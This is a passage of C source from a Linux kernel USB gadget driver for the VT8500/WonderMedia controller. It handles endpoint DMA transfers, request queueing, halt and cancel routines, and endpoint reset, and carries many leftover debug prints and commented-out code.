printk(KERN_INFO "DMA_Context_Control2 =0x%8.8x\n", pUdcDmaReg->DMA_Context_Control0); //gri } #endif } /*static void next_in_dma()*/ static void finish_in_dma(struct vt8500_ep *ep, struct vt8500_req *req, int status) { // printk(KERN_INFO "finish_in_dma()s\n"); //gri DBG("finish_in_dma() %s\n", ep ? ep->ep.name : NULL); if (status == 0) { /* Normal complete!*/ #ifdef USE_BULK3_TO_INTERRUPT req->req.actual += dma_src_len(ep, req);/*req->dma_bytes;*/ #else // if ((ep->bEndpointAddress & 0x7F) == 3) // req->req.actual += interrupt_transfer_size; // else if ((ep->bEndpointAddress & 0x7F) != 3) req->req.actual += dma_src_len(ep, req);/*req->dma_bytes;*/ #endif /* return if this request needs to send data or zlp*/ if (req->req.actual < req->req.length) return; if (req->req.zero && req->dma_bytes != 0 && (req->req.actual % ep->maxpacket) == 0) return; } else req->req.actual += dma_src_len(ep, req); #ifdef RNDIS_INFO_DEBUG_BULK_IN if ((ep->bEndpointAddress & 0x7F) == 1) INFO("finish_in_dma()e %s req->req.actual(0x%08X) req->req.length(0x%08X)\n", ep ? ep->ep.name : NULL, req->req.actual, req->req.length); #endif done(ep, req, status); //printk(KERN_INFO "finish_in_dma() %s req->req.actual(0x%08X) req->req.length(0x%08X)\n", //ep ? ep->ep.name : NULL, req->req.actual, req->req.length); //gri } /*static void finish_in_dma()*/ static void next_out_dma(struct vt8500_ep *ep, struct vt8500_req *req) { /*unsigned packets;*/ u32 dma_ccr = 0; u32 dcmd; u32 buf; int is_in; // printk(KERN_INFO "next_out_dma s\n"); //gri is_in = 0;/*ep->bEndpointAddress & USB_DIR_IN;*/ #ifdef RNDIS_INFO_DEBUG_BULK_OUT if (ep->bEndpointAddress == 2) INFO("next_out_dma() %s\n", ep ? ep->ep.name : NULL); #endif DBG("next_out_dma() %s\n", ep ? ep->ep.name : NULL); dcmd = req->dma_bytes = req->req.length - req->req.actual; buf = ((req->req.dma + req->req.actual) & 0xFFFFFFFC); if ((ep->bEndpointAddress == 2) && (req->req.dma == 0xFFFFFFFF) && (ep->rndis == 0)) { unsigned int dma_length = 65536; printk(KERN_INFO "rndis ooooo %d\n",req->req.length); if (ep->rndis_buffer_alloc == 0) { ep->rndis_buffer_address = (unsigned int)UdcRndisEp2VirAddr; ep->rndis_dma_phy_address = (u32)UdcRndisEp2PhyAddr; ep->rndis_buffer_length = dma_length; ep->rndis_buffer_alloc = 1; } ep->rndis = 1; } if ((ep->bEndpointAddress == 2) && (ep->rndis == 1) && (req->req.length > ep->rndis_buffer_length)) { // void *retval; // dma_addr_t dma; printk(KERN_INFO "rndis ooooobb %d\n",req->req.length); #if 0 dma_free_coherent (ep->udc->dev, ep->rndis_buffer_length, (void *)ep->rndis_buffer_address, (dma_addr_t)ep->rndis_dma_phy_address); retval = dma_alloc_coherent(ep->udc->dev, req->req.length, &dma, GFP_ATOMIC); ep->rndis_buffer_address = (unsigned int)retval; ep->rndis_dma_phy_address = (u32)dma; ep->rndis_buffer_length = req->req.length; ep->rndis = 1; #endif } if (ep->bEndpointAddress == 0) {/*Control*/ ep->ep_fifo_length = 0; if (dcmd >= 64) dcmd = 64; ep->ep_fifo_length = dcmd; if (ep->toggle_bit) pDevReg->ControlDesTbytes = dcmd | CTRLXFER_DATA1; else pDevReg->ControlDesTbytes = dcmd | CTRLXFER_DATA0; pDevReg->ControlDesControl = CTRLXFER_OUT+CTRLXFER_IOC; wmb(); pDevReg->ControlDesStatus = CTRLXFER_ACTIVE; ControlState = CONTROLSTATE_DATA; if (ep->toggle_bit == 0) ep->toggle_bit = 1; else ep->toggle_bit = 0; } else if (ep->bEndpointAddress == 2) {/*Bulk Out*/ ep->stall_more_processing = 0; // printk(KERN_INFO "next_out_dma %d %d %d\n", req->dma_bytes, req->req.length,req->req.actual); //gri /*if(req->dma_bytes == 64)*/ ep->udc->cbw_virtual_address = (((u32)req->req.buf + req->req.actual) & 0xFFFFFFFC); if (dcmd > UBE_MAX_DMA) dcmd = UBE_MAX_DMA; if (pDevReg->Bulk2EpControl & EP_STALL) { ep->stall_more_processing = 1; ep->temp_dcmd = dcmd; } /* Set Address*/ if (ep->rndis == 1) wmt_udc_pdma_des_prepare(dcmd, ((ep->rndis_dma_phy_address + req->req.actual) & 0xFFFFFFFC), DESCRIPTOT_TYPE_LONG, TRANS_OUT, 1); else wmt_udc_pdma_des_prepare(dcmd, buf, DESCRIPTOT_TYPE_LONG, TRANS_OUT, 1); if (pDevReg->Bulk2EpControl & EP_STALL) ep->temp_bulk_dma_addr = buf; if (pDevReg->Bulk2EpControl & EP_STALL) ep->temp_dma_ccr = dma_ccr; /* DMA Global Controller Reg*/ /* DMA Controller Enable +*/ /* DMA Global Interrupt Enable(if any TC, error, or abort status in any channels occurs)*/ pDevReg->Bulk2DesStatus = 0x00; pDevReg->Bulk2DesTbytes2 |= (dcmd >> 16) & 0x3; pDevReg->Bulk2DesTbytes1 = (dcmd >> 8) & 0xFF; pDevReg->Bulk2DesTbytes0 = dcmd & 0xFF; /* set endpoint data toggle*/ if (ep->toggle_bit) pDevReg->Bulk2DesTbytes2 |= BULKXFER_DATA1; else pDevReg->Bulk2DesTbytes2 &= 0x3F;/*BULKXFER_DATA0;*/ pDevReg->Bulk2DesStatus = BULKXFER_IOC;/*| BULKXFER_IN;*/ if (pDevReg->Bulk2EpControl & EP_STALL) ep->ep_stall_toggle_bit = ep->toggle_bit; dma_ccr = 0; dma_ccr = DMA_RUN; if (!is_in) dma_ccr |= DMA_TRANS_OUT_DIR; wmb(); pUdcDmaReg->DMA_Context_Control1 = dma_ccr; wmb(); pDevReg->Bulk2DesStatus |= BULKXFER_ACTIVE; /*udc_device_dump_register();*/ } VDBG("req->req.dma 0x%08X \n", req->req.dma); //printk(KERN_INFO "next_out_dma e\n"); //gri } /*static void next_out_dma()*/ static void finish_out_dma(struct vt8500_ep *ep, struct vt8500_req *req, int status) { u16 count; u8 temp8; u32 temp32; /*u8 bulk_dma_csr;*/ // printk(KERN_INFO "finish_out_dma s\n"); //gri DBG("finish_out_dma() %s\n", ep ? ep->ep.name : NULL); count = dma_dest_len(ep, req); if (ep->bEndpointAddress == 0) {/*Control*/ u8 *pctrlbuf; int i; pctrlbuf = (u8 *)(req->req.buf + req->req.actual); for (i = 0; i < count; i++) pctrlbuf[i] = SetupBuf[i]; /*INFO("finish_out_dma() %s\n", ep ? ep->ep.name : NULL);*/ /*dump_bulk_buffer((req->req.buf + req->req.actual), count);*/ } count += req->req.actual; if (count <= req->req.length) req->req.actual = count; if (ep->bEndpointAddress == 0) {/*Control*/ if (req->req.actual < req->req.length) { temp8 = pDevReg->ControlDesStatus; if ((temp8 & CTRLXFER_SHORTPKT) == 0) return; /*Continue...*/ } } else if (ep->bEndpointAddress == 2) { if (pDevReg->Bulk2DesTbytes2 & 0x80) ep->toggle_bit= 1; else ep->toggle_bit= 0; // while((pUdcDmaReg->DMA_Context_Control1_Bis.EventCode != 0xf) && // (pUdcDmaReg->DMA_Context_Control1_Bis.EventCode != 0x5)); // printk(KERN_INFO "finish_out_dma() %s req->actual(%d) req->length(%d) toggle_bit(%8x) add %x\n", // ep ? ep->ep.name : NULL, req->req.actual, req->req.length, (pDevReg->Bulk2DesTbytes2), (unsigned int)pDevReg);//gri // INFO("finish_out_dma() %s req->actual(%d) req->length(%d) toggle_bit(%8x) add %x\n", // ep ? ep->ep.name : NULL, req->req.actual, req->req.length, (pDevReg->Bulk2DesTbytes2), (unsigned int)pDevReg); { { unsigned int gri_t_d; unsigned int gri_count=0; unsigned int dma_count; do{ gri_t_d=pUdcDmaReg->DMA_ISR ; gri_t_d &= 0x2; gri_count++; if (gri_count & 0x10){ gri_count=0; // printk(KERN_INFO "pUdcDmaReg->DMA_Context_Control1 0x%08x\n", &(pUdcDmaReg->DMA_Context_Control1)); printk(KERN_INFO "XXXXXXXXXXX 0x%08x\n",pUdcDmaReg->DMA_Context_Control1); dma_count = req->req.length - pUdcDmaReg->DMA_Residual_Bytes1_Bits.ResidualBytes; // printk(KERN_INFO "CC 0x%08x 0x%08x\n", dma_count, count); if (pUdcDmaReg->DMA_Context_Control1_Bis.Run == 0) break; if ((count == dma_count) || (count == 0)){ // printk(KERN_INFO "XXXXXXXXXXX 0x%08x\n",pUdcDmaReg->DMA_Context_Control1); // printk(KERN_INFO "CC 0x%08x 0x%08x\n", dma_count, count); // while(1); pUdcDmaReg->DMA_Context_Control1_Bis.Run = 0; break; } } }while(!gri_t_d); } } if (req->req.actual < req->req.length) { DBG("finish_out_dma() req->actual < req->req.length\n"); temp8 = pDevReg->Bulk2DesStatus; if ((temp8 & BULKXFER_SHORTPKT) == 0) return; /*Continue...*/ else { /*Short Package.*/ pDevReg->Bulk2EpControl |= EP_DMALIGHTRESET; wmb(); while (pDevReg->Bulk2EpControl & EP_DMALIGHTRESET) ; pDevReg->Bulk2EpControl = EP_RUN + EP_ENABLEDMA; wmb(); } } } /* rx completion*/ /*UDC_DMA_IRQ_EN_REG &= ~UDC_RX_EOT_IE(ep->dma_channel);*/ //#ifdef RNDIS_INFO_DEBUG_BULK_OUT // if (ep->bEndpointAddress == 2) // INFO("finish_out_dma() %s req->actual(%d) req->length(%d) toggle_bit(%8x) add %x\n", // ep ? ep->ep.name : NULL, req->req.actual, req->req.length, (pDevReg->Bulk2DesTbytes2), (unsigned int)pDevReg); //#endif /*dump_bulk_buffer(req->req.buf, req->req.actual);*/ if ((ep->bEndpointAddress == 2) && (ep->rndis == 1)) { memcpy((void *)((u32)req->req.buf), (void *)((u32)ep->rndis_buffer_address), req->req.actual); #ifdef RNDIS_INFO_DEBUG_BULK_OUT /*if ((req->req.actual % 4 == 3))// && (b_message == 0))*/ /*dump_bulk_buffer(req->req.buf, req->req.actual);*/ #endif #if 0 if ((req->req.length == 1600) || (req->req.length == 2048)) {/*F.S. [1600] : H.S. [2048]*/ /*ex : 512 /64 = 8 8 % 2 = 0*/ temp32 = (req->req.actual + ep->maxpacket - 1) / ep->maxpacket; ep->toggle_bit = ((temp32 + ep->toggle_bit) % 2); } else INFO("Different Length for Bulk Out (%08d) Toggle Bit would Error\n" , req->req.length); #else #if 0 if (req->req.length > ep->maxpacket) { /*ex : 512 /64 = 8 8 % 2 = 0*/ temp32 = (req->req.actual + ep->maxpacket - 1) / ep->maxpacket; ep->toggle_bit = ((temp32 + ep->toggle_bit) % 2); } else { if (ep->toggle_bit == 0) ep->toggle_bit = 1; else ep->toggle_bit = 0; } #endif #endif } else { #if 1 if (ep->bEndpointAddress == 0){ /*GigaHsu-B 2008.5.15 : Add this caculate toggle from next_out_dma() : fixed sideshow gadget issue.*/ if (req->req.length > ep->maxpacket) { /*ex : 512 /64 = 8 8 % 2 = 0*/ temp32 = (req->req.actual + ep->maxpacket - 1) / ep->maxpacket; ep->toggle_bit = ((temp32 + ep->toggle_bit) % 2); } else { if (ep->toggle_bit == 0) ep->toggle_bit = 1; else ep->toggle_bit = 0; } } #endif /*GigaHsu-E 2008.5.15*/ } done(ep, req, status); //printk(KERN_INFO "finish_out_dma e\n"); //gri } /*finish_out_dma()*/ void dma_irq(u8 addr) { struct vt8500_ep *ep; struct vt8500_req *req; /*u32 temp32;*/ /*u32 i;*/ ep = &udc->ep[addr & 0x7f]; if ((ep->bEndpointAddress & 0x7F) == 1) {/*Bulk In*/ /* IN dma: tx to host*/ if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); finish_in_dma(ep, req, 0); } while (pDevReg->Bulk1EpControl & EP_COMPLETEINT) ; if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); next_in_dma(ep, req); } } else if (ep->bEndpointAddress == 2) {/*Bulk Out*/ /* OUT dma: rx from host*/ if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); finish_out_dma(ep, req, 0); } while (pDevReg->Bulk2EpControl & EP_COMPLETEINT) ; if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); next_out_dma(ep, req); } } else if ((ep->bEndpointAddress & 0x7F) == 3) {/*Interrupt In*/ #ifdef USE_BULK3_TO_INTERRUPT /* IN dma: tx to host*/ if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); finish_in_dma(ep, req, 0); } while (pDevReg->Bulk3EpControl & EP_COMPLETEINT) ; if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); next_in_dma(ep, req); } #else /* IN dma: tx to host*/ while (pDevReg->InterruptEpControl & EP_COMPLETEINT) ; if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); req->req.actual += dma_src_len(ep, req); if (req->req.actual < req->req.length) next_in_dma(ep, req); else finish_in_dma(ep, req, 0); } // if (!list_empty(&ep->queue)) { // req = container_of(ep->queue.next, struct vt8500_req, queue); // next_in_dma(ep, req); // } #endif } else if ((ep->bEndpointAddress & 0x7F) == 4) {/*Iso In*/ /* IN dma: tx to host*/ if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); finish_in_dma(ep, req, 0); } } } /*static void dma_irq()*/ static void pullup_enable(struct vt8500_udc *udc) { INFO("gri pullup_enable()\n"); b_pullup = 1; /*Enable port control's FSM to enable 1.5k pull-up on D+.*/ //pDevReg->PhyMisc &= 0x0F;/*Hardware auto-mode*/ pDevReg->FunctionPatchEn |= 0x20; /* HW attach process evaluation enable bit*/ wmb(); /*pDevReg->PhyMisc |= 0x50;*/ } /*static void pullup_enable()*/ /*-------------------------------------------------------------------------*/ /*file_storage.c ep0_queue() - control*/ /*file_storage.c start_transfer() - bulk*/ static int wmt_ep_queue(struct usb_ep *_ep, struct usb_request *_req, gfp_t gfp_flags) { struct vt8500_ep *ep = container_of(_ep, struct vt8500_ep, ep); struct vt8500_req *req = container_of(_req, struct vt8500_req, req); /*struct vt8500_udc *udc;*/ // unsigned long flags; unsigned char empty_data = 0; DBG("wmt_ep_queue() %s\n", ep ? ep->ep.name : NULL); // INFO("gri wmt_ep_queue() %s\n", ep ? ep->ep.name : NULL); // if ((ep->bEndpointAddress & 0x7F) > 4) // return -EINVAL; #ifdef RNDIS_INFO_DEBUG_BULK_OUT if ((ep->bEndpointAddress == 3))/* || ((ep->bEndpointAddress & 0x7F) == 2))*/ INFO("wmt_ep_queue() %s\n", ep ? ep->ep.name : NULL); #endif /* catch various bogus parameters*/ if (!_req || !req->req.complete || !req->req.buf || !list_empty(&req->queue)) { DBG("[wmt_ep_queue], bad params\n"); return -EINVAL; } if (!_ep || (!ep->desc && ep->bEndpointAddress)) { DBG("[wmt_ep_queue], bad ep\n"); return -EINVAL; } //#ifdef RNDIS_INFO_DEBUG_BULK_OUT // if ((ep->bEndpointAddress == 2))/* || ((ep->bEndpointAddress & 0x7F) == 1))*/ // INFO("wmt_ep_queue() %s queue req %p, len %d buf %p\n", // ep->ep.name, _req, _req->length, _req->buf); //#endif //#ifdef MSC_COMPLIANCE_TEST // if ((ep->bEndpointAddress & 0x7F) == 1) // INFO("wmt_ep_queue() %s queue req %p, len %d buf %p\n", // ep->ep.name, _req, _req->length, _req->buf); //#endif DBG("wmt_ep_queue() %s queue req %p, len %d buf %p\n", ep->ep.name, _req, _req->length, _req->buf); spin_lock_irqsave(&udc->lock, irq_flags); req->req.status = -EINPROGRESS; req->req.actual = 0; /* maybe kickstart non-iso i/o queues*/ if (list_empty(&ep->queue) && !ep->stopped && !ep->ackwait) { int is_in; if (ep->bEndpointAddress == 0) { if (!udc->ep0_pending || !list_empty(&ep->queue)) { spin_unlock_irqrestore(&udc->lock, irq_flags); return -EL2HLT; } /* empty DATA stage?*/ is_in = udc->ep0_in; if (!req->req.length) { /*status 0 bytes*/ udc->ep0_status_0_byte = 1; ep0_status(udc); /* cleanup*/ udc->ep0_pending = 0; done(ep, req, 0); empty_data = 1; } if (req->req.length) { udc->bulk_out_dma_write_error = 0; (is_in ? next_in_dma : next_out_dma)(ep, req); } } else { is_in = ep->bEndpointAddress & USB_DIR_IN; if (req != 0){ list_add_tail(&req->queue, &ep->queue); empty_data = 1; } // else // { // printk(KERN_INFO "xxx %x %x\n",req,empty_data); //gri // } /*if (!ep->has_dma)*/ /* use_ep(ep, UDC_EP_SEL);*/ /* if ISO: SOF IRQs must be enabled/disabled!*/ if (((ep->bEndpointAddress & 0x7F) != 4) || (!fiq_using)) (is_in ? next_in_dma : next_out_dma)(ep, req); #if 0 else printk("gri w_e_q() 01 %s not q f_u=%d \n", ep ? ep->ep.name : NULL, fiq_using); #endif } } /* irq handler advances the queue*/ #if 0 if ((ep->bEndpointAddress & 0x7F) == 4) printk("gri w_e_q() 02 %s not q f_u=%d \n", ep ? ep->ep.name : NULL, fiq_using); #endif if ((req != 0) && (empty_data == 0)) list_add_tail(&req->queue, &ep->queue); spin_unlock_irqrestore(&udc->lock, irq_flags); return 0; } /*wmt_ep_queue()*/ void ep1_cancel_tx(struct vt8500_ep *ep) { unsigned char btmp; unsigned char bctrl0; bctrl0 = pDevReg->Bulk1EpControl & 0xE3; pDevReg->Bulk1DesStatus &= 0xF0; ep->stall_more_processing = 0; pDevReg->Bulk1DesStatus = 0x00; pDevReg->Bulk1DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk1DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk1DesTbytes0 = ep->temp_dcmd & 0xFF; /* set endpoint data toggle*/ btmp = pDevReg->Bulk1DesTbytes2 & 0x40; if (btmp) ep->toggle_bit = 1; else ep->toggle_bit = 0; if (ep->toggle_bit) { /* BULKXFER_DATA1;*/ pDevReg->Bulk1DesTbytes2 |= 0x40; } else { /*(~BULKXFER_DATA1);*/ pDevReg->Bulk1DesTbytes2 &= 0xBF; } pDevReg->Bulk1DesStatus = (BULKXFER_IOC | BULKXFER_IN); wmb(); pDevReg->Bulk1EpControl |= EP_DMALIGHTRESET; wmb(); while (pDevReg->Bulk1EpControl & EP_DMALIGHTRESET); pDevReg->Bulk1EpControl = bctrl0; wmt_pdma0_reset(); wmb(); } void ep2_cancel_tx(struct vt8500_ep *ep) { unsigned char btmp; unsigned char bctrl0; bctrl0 = pDevReg->Bulk2EpControl & 0xE3; pDevReg->Bulk2DesStatus &= 0xF0; ep->stall_more_processing = 0; pDevReg->Bulk2DesStatus = 0x00; pDevReg->Bulk2DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk2DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk2DesTbytes0 = ep->temp_dcmd & 0xFF; /* set endpoint data toggle*/ btmp = pDevReg->Bulk2DesTbytes2 & 0x80; if (btmp) ep->toggle_bit = 1; else ep->toggle_bit = 0; if (ep->toggle_bit) { /* BULKXFER_DATA1;*/ pDevReg->Bulk2DesTbytes2 |= 0x40; } else { /*(~BULKXFER_DATA1);*/ pDevReg->Bulk2DesTbytes2 &= 0xBF; } pDevReg->Bulk2DesStatus = (BULKXFER_IOC | BULKXFER_IN); wmb(); pDevReg->Bulk2EpControl |= EP_DMALIGHTRESET; wmb(); while (pDevReg->Bulk2EpControl & EP_DMALIGHTRESET); pDevReg->Bulk2EpControl = bctrl0; wmt_pdma1_reset(); wmb(); } void ep3_cancel_tx(struct vt8500_ep *ep) { #ifdef USE_BULK3_TO_INTERRUPT unsigned char btmp; unsigned char bctrl0; bctrl0 = pDevReg->Bulk3EpControl & 0xE3; pDevReg->Bulk3DesStatus &= 0xF0; ep->stall_more_processing = 0; pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk3DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk3DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk3DesTbytes0 = ep->temp_dcmd & 0xFF; /* set endpoint data toggle*/ btmp = pDevReg->Bulk3DesTbytes2 & 0x40; if (btmp) ep->toggle_bit = 1; else ep->toggle_bit = 0; if (ep->toggle_bit) { /* BULKXFER_DATA1;*/ pDevReg->Bulk3DesTbytes2 |= 0x40; } else { /*(~BULKXFER_DATA1);*/ pDevReg->Bulk3DesTbytes2 &= 0xBF; } pDevReg->Bulk3DesStatus = (BULKXFER_IOC | BULKXFER_IN); wmb(); pDevReg->Bulk3EpControl |= EP_DMALIGHTRESET; wmb(); while (pDevReg->Bulk3EpControl & EP_DMALIGHTRESET); pDevReg->Bulk3EpControl = bctrl0; wmt_pdma2_reset(); wmb(); #else unsigned char tmp0, tmp1, tmp2, tmp3; pDevReg->InterruptDes = 0x00; wmb(); tmp0 = InterruptEpControl; tmp1 = InterruptReserved; tmp2 = InterruptEpMaxLen; tmp3 = InterruptEpEpNum; InterruptEpControl |= EP_DMALIGHTRESET; wmb(); while (pDevReg->InterruptEpControl & EP_DMALIGHTRESET); InterruptEpControl = tmp0; InterruptReserved = tmp1; InterruptEpMaxLen = tmp2; InterruptEpEpNum = tmp3; wmb(); #endif } void ep4_cancel_tx(struct vt8500_ep *ep) { unsigned char btmp; unsigned char bctrl0; fiq_using = 0; bctrl0 = pDevReg->Bulk3EpControl & 0xE3; pDevReg->Bulk3DesStatus &= 0xF0; ep->stall_more_processing = 0; pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk3DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk3DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk3DesTbytes0 = ep->temp_dcmd & 0xFF; /* set endpoint data toggle*/ btmp = pDevReg->Bulk3DesTbytes2 & 0x40; if (btmp) ep->toggle_bit = 1; else ep->toggle_bit = 0; if (ep->toggle_bit) { /* BULKXFER_DATA1;*/ pDevReg->Bulk3DesTbytes2 |= 0x40; } else { /*(~BULKXFER_DATA1);*/ pDevReg->Bulk3DesTbytes2 &= 0xBF; } pDevReg->Bulk3DesStatus = (BULKXFER_IOC | BULKXFER_IN); wmb(); pDevReg->Bulk3EpControl |= EP_DMALIGHTRESET; wmb(); while (pDevReg->Bulk3EpControl & EP_DMALIGHTRESET); pDevReg->Bulk3EpControl = bctrl0; wmt_pdma2_reset(); wmb(); } static int wmt_ep_dequeue(struct usb_ep *_ep, struct usb_request *_req) { struct vt8500_ep *ep = container_of(_ep, struct vt8500_ep, ep); struct vt8500_req *req; int is_in; // unsigned long flags; if (!_ep || !_req) return -EINVAL; spin_lock_irqsave(&ep->udc->lock, irq_flags); DBG("wmt_ep_dequeue() %s\n", ep ? ep->ep.name : NULL); /* make sure it's actually queued on this endpoint*/ list_for_each_entry(req, &ep->queue, queue) { if (&req->req == _req) break; } if (&req->req != _req) { spin_unlock_irqrestore(&ep->udc->lock, irq_flags); return -EINVAL; } if (((ep->bEndpointAddress & 0x7F) != 0) && ep->queue.next == &req->queue) { if (ep->bEndpointAddress == 1){ ep1_cancel_tx(ep); } else if (ep->bEndpointAddress == 2){ ep2_cancel_tx(ep); } else if (ep->bEndpointAddress == 3){ ep3_cancel_tx(ep); } else if (ep->bEndpointAddress == 4){ ep4_cancel_tx(ep); } } done(ep, req, -ECONNRESET); if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); is_in = ep->bEndpointAddress & USB_DIR_IN; (is_in ? next_in_dma : next_out_dma)(ep, req); } spin_unlock_irqrestore(&ep->udc->lock, irq_flags); return 0; } /*static int wmt_ep_dequeue()*/ /*-------------------------------------------------------------------------*/ static int wmt_ep_set_halt(struct usb_ep *_ep, int value) { struct vt8500_ep *ep = container_of(_ep, struct vt8500_ep, ep); // unsigned long flags; int status = -EOPNOTSUPP; spin_lock_irqsave(&ep->udc->lock, irq_flags); ep->toggle_bit = 0; /*patch CLEAR_FEATURE ENDPOINT_HALT*/ DBG("wmt_ep_set_halt() %s\n", ep ? ep->ep.name : NULL); if (value) { u8 temp32bytes[31]; memset(temp32bytes, 0, 31); temp32bytes[0] = 0xEF; temp32bytes[1] = 0xBE; temp32bytes[2] = 0xAD; temp32bytes[3] = 0xDE; /*usb_ep_set_halt() - value == 1 stall*/ switch ((ep->bEndpointAddress & 0x7F)) { case 0:/*Control In/Out*/ pDevReg->ControlEpControl |= EP_STALL; break; case 1:/*Bulk In*/ pDevReg->Bulk1EpControl |= EP_STALL; break; case 2:/*Bulk Out*/ pDevReg->Bulk2EpControl |= EP_STALL; break; case 3:/*Interrupt In*/ #ifdef USE_BULK3_TO_INTERRUPT pDevReg->Bulk3EpControl |= EP_STALL; #else pDevReg->InterruptEpControl |= EP_STALL; #endif break; case 4:/*Iso In*/ pDevReg->Bulk3EpControl |= EP_STALL; break; } ep->stall = 1; /*DBG("wmt_ep_set_halt(1) HALT CSR(0x%08X)\n", *ep->reg_control_status);*/ status = 0; if (memcmp(temp32bytes, (void *)ep->udc->cbw_virtual_address, 4) == 0) udc->file_storage_set_halt = 1; /*forbid to CLEAR FEATURE*/ } else {/*usb_ep_clear_halt - value == 0 reset*/ /**ep->reg_control_status &= 0xFFFFFFFB;*/ switch ((ep->bEndpointAddress & 0x7F)) { case 0:/*Control In/Out*/ pDevReg->ControlEpControl &= 0xF7; break; case 1:/*Bulk In*/ pDevReg->Bulk1EpControl &= 0xF7; break; case 2:/*Bulk Out*/ pDevReg->Bulk2EpControl &= 0xF7; break; case 3:/*Interrupt In*/ #ifdef USE_BULK3_TO_INTERRUPT pDevReg->Bulk3EpControl &= 0xF7; #else pDevReg->InterruptEpControl &= 0xF7; #endif break; case 4:/*Iso In*/ pDevReg->Bulk3EpControl &= 0xF7; break; } ep->stall = 0; status = 0; udc->file_storage_set_halt = 0; } VDBG("%s %s halt stat %d\n", ep->ep.name, value ? "set" : "clear", status); wmb(); spin_unlock_irqrestore(&ep->udc->lock, irq_flags); return status; } /*static int wmt_ep_set_halt()*/ static struct usb_ep_ops wmt_ep_ops = { .enable = wmt_ep_enable, .disable = wmt_ep_disable, .alloc_request = wmt_alloc_request, .free_request = wmt_free_request, // .alloc_buffer = wmt_alloc_buffer, // .free_buffer = wmt_free_buffer, .queue = wmt_ep_queue, .dequeue = wmt_ep_dequeue, .set_halt = wmt_ep_set_halt, /* fifo_status ... report bytes in fifo*/ /* fifo_flush ... flush fifo*/ }; #if 0 static void wmt_udc_csr(struct vt8500_udc *udc) { /* abolish any previous hardware state*/ DBG("wmt_udc_csr()\n"); if (udc->gadget.speed == USB_SPEED_FULL) { wmt_ep_setup_csr("ep1in-bulk", (USB_DIR_IN | 1), USB_ENDPOINT_XFER_BULK, 64); wmt_ep_setup_csr("ep2out-bulk", (USB_DIR_OUT | 2), USB_ENDPOINT_XFER_BULK, 64); } else if (udc->gadget.speed == USB_SPEED_HIGH) { wmt_ep_setup_csr("ep1in-bulk", (USB_DIR_IN | 1), USB_ENDPOINT_XFER_BULK, 512); wmt_ep_setup_csr("ep2out-bulk", (USB_DIR_OUT | 2), USB_ENDPOINT_XFER_BULK, 512); } else if (udc->gadget.speed == USB_SPEED_UNKNOWN) { wmt_ep_setup_csr("ep1in-bulk", (USB_DIR_IN | 1), USB_ENDPOINT_XFER_BULK, 512); wmt_ep_setup_csr("ep2out-bulk", (USB_DIR_OUT | 2), USB_ENDPOINT_XFER_BULK, 512); } //wmt_ep_setup_csr("ep3in""-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, 8); #ifdef USE_BULK3_TO_INTERRUPT wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, 28); #else wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, 8); #endif } /*wmt_udc_csr(void)*/ #endif static int wmt_get_frame(struct usb_gadget *gadget) { DBG("wmt_get_frame()\n"); return 0; } static int wmt_wakeup(struct usb_gadget *gadget) { /*struct vt8500_udc *udc;*/ /*unsigned long flags;*/ int retval = 0; DBG("wmt_wakeup()\n"); /* udc = container_of(gadget, struct vt8500_udc, gadget); spin_lock_irqsave(&udc->lock, irq_flags); if (udc->devstat & UDC_SUS) { // NOTE: OTG spec erratum says that OTG devices may // issue wakeups without host enable. // if (udc->devstat & (UDC_B_HNP_ENABLE|UDC_R_WK_OK)) { DBG("remote wakeup...\n"); UDC_SYSCON2_REG = UDC_RMT_WKP; retval = 0; } // NOTE: non-OTG systems may use SRP TOO... } else if (!(udc->devstat & UDC_ATT)) { if (udc->transceiver) retval = otg_start_srp(udc->transceiver->otg); } spin_unlock_irqrestore(&udc->lock, irq_flags); */ return retval; } static int wmt_set_selfpowered(struct usb_gadget *gadget, int is_selfpowered) { DBG("wmt_set_selfpowered()\n"); /* struct vt8500_udc *udc; unsigned long flags; u16 syscon1; udc = container_of(gadget, struct vt8500_udc, gadget); spin_lock_irqsave(&udc->lock, irq_flags); syscon1 = UDC_SYSCON1_REG; if (is_selfpowered) syscon1 |= UDC_SELF_PWR; else syscon1 &= ~UDC_SELF_PWR; UDC_SYSCON1_REG = syscon1; spin_unlock_irqrestore(&udc->lock, irq_flags); */ return 0; } void reset_ep(void) { #if 1 wmt_disable_fiq(); fiq_using = 0; pDevReg->Bulk1EpControl = EP_DMALIGHTRESET; while (pDevReg->Bulk1EpControl & EP_DMALIGHTRESET) ; pDevReg->Bulk2EpControl = EP_DMALIGHTRESET; while (pDevReg->Bulk2EpControl & EP_DMALIGHTRESET) ; pDevReg->Bulk3EpControl = EP_DMALIGHTRESET; while (pDevReg->Bulk3EpControl & EP_DMALIGHTRESET) ; #else pDevReg->Bulk1EpControl = 0; /* stop the bulk DMA*/ while (pDevReg->Bulk1EpControl & EP_ACTIVE) /* wait the DMA stopped*/ ; pDevReg->Bulk2EpControl = 0; /* stop the bulk DMA*/ while (pDevReg->Bulk2EpControl & 